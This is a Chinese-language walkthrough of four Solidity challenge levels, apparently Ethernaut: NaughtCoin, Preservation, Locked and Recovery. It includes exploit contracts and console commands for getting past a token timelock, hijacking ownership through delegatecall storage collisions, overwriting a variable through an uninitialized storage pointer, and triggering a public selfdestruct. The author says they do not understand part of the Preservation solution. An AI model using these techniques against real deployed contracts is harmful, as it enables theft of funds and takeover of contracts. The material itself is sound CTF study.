目标:现在手里有一些代币,但是十年之后才能转走,先办法转走他们,使得你合约中的代币为 0
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { using SafeMath for uint256; string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } }
先看一下有多少代币
await contract.balanceOf(player)
在合约中,他 import 了一个 StandardToken.sol
pragma solidity ^0.4.6; import './ERC20Lib.sol'; contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; string public name = "SimpleToken"; string public symbol = "SIM"; uint public decimals = 18; uint public INITIAL_SUPPLY = 10000; function StandardToken() { token.init(INITIAL_SUPPLY); } function totalSupply() constant returns (uint) { return token.totalSupply; } function balanceOf(address who) constant returns (uint) { return token.balanceOf(who); } function allowance(address owner, address spender) constant returns (uint) { return token.allowance(owner, spender); } function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } function approve(address spender, uint value) returns (bool ok) { return token.approve(spender, value); } event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }
引用的这个合约中有两个转账函数,一个是 transfer 还有一个是 transferFrom,而题目的合约只对 transfer 进行了重写,我们可以使用题目 import 的那一个合约中的 transferFrom,先看一下 StandardToken.sol import 的 ERC20Lib.sol,看一下 transferFrom 是怎么定义的,他需要先经过 approve 批准才能使用
... function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from][msg.sender]; self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from][msg.sender] = _allowance.minus(_value); Transfer(_from, _to, _value); return true; } ... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } ...
使用 approve 进行授权
await contract.approve(player,toWei(1000000))
然后通过 transferFrom 来实施转账
await contract.transferFrom(player,contract.address,toWei(1000000))
目标:拿到合约所有权
pragma solidity ^0.4.23; contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; }//构造函数 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } contract LibraryContract { uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
delegatecall 调用的时候执行的是调用的那个函数,但是用的是本合约的变量,可以写一个 exp
pragma solidity ^0.4.23; contract PreservationPoc { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = address(_time); } }
首先调用正常合约中的一个函数 setxxxTime("恶意合约地址"),这样就可以把他的变量改成了我们的合约地址,再次去调用的时候就是去执行我们合约中的代码了,比如:
await contract.setSecondTime("恶意合约的地址")
这样 timeZone2Library 就成了恶意合约的地址,再次去执行 setSecondTime 的时候就是执行的恶意合约了,拿我们部署的来说就是改变了合约的所有者
await contract.setFirstTime(player)
一开始合约所有者不是我们,后面我们已经成为了合约的所有者,在第一次做的时候这样是不行的,要先用 setSecondTime 设置恶意合约为变量,然后 setFirstTime 来改变合约所有者,不明白怎么回事
目标:注册
pragma solidity ^0.4.23; contract Locked { bool public unlocked = false; //默认是false struct NameRecord { //我们想要注册 bytes32 name; address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); //要让unlocked为true才能注册 } }
这里涉及到一个变量覆盖的问题,我们知道在 solidity 中是有两种存储状态的,一个是 storage 一个是 memory,对于 struct 和 数组 来说,默认就是 storage ,对应上面我们的第 12 行 NameRecord newRecord 会被当成一个指针,newRecord.name 默认指向第一个存储块,也就是 unlocked,所以我们可以通过修改 newRecord.name 来修改 unlocked
当输入 name="0x0000000000000000000000000000000000000000000000000000000000000001"(63 个 0),地址任意地址时,会覆盖 unlocked 的值,使其变为 true
目标:新生成了一个合约并转了 0.5 ether,但是丢失了合约地址,从丢失的合约中恢复 0.5 ether
pragma solidity ^0.4.23; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Recovery { //generate tokens function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); }//新建了下面的合约 } contract SimpleToken { using SafeMath for uint256; string public name; mapping (address => uint) public balances; constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } function() public payable { balances[msg.sender] = msg.value.mul(10); } function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } function destroy(address _to) public { selfdestruct(_to);//自毁函数,pubic的 } }
生成一个实例之后去看一下详情(国内 404,所以要..)
可以看到,我们的帐户给了他 1 ether,然后他又给了另一个地址 0.5 ether,这就是新创建的合约的地址,我们只需要调用新建的这个合约的 destory
mark一下:
新建合约:0xD2F46c7A6F69d56570BF25346f0Cc893a5925828
exp:把新建的合约地址贴上去部署 RecoveryPoc
pragma solidity ^0.4.23; contract SimpleToken { string public name; mapping (address => uint) public balances; function() public payable ; function transfer(address _to, uint _amount) public ; function destroy(address _to) public ; } contract RecoveryPoc { SimpleToken target; constructor(address _addr) public{ target = SimpleToken(_addr); }//构造函数 function attack() public{ target.destroy(tx.origin); } }
把那 0.5 ether 还给了我们,同时自己销毁了
提交就可以啦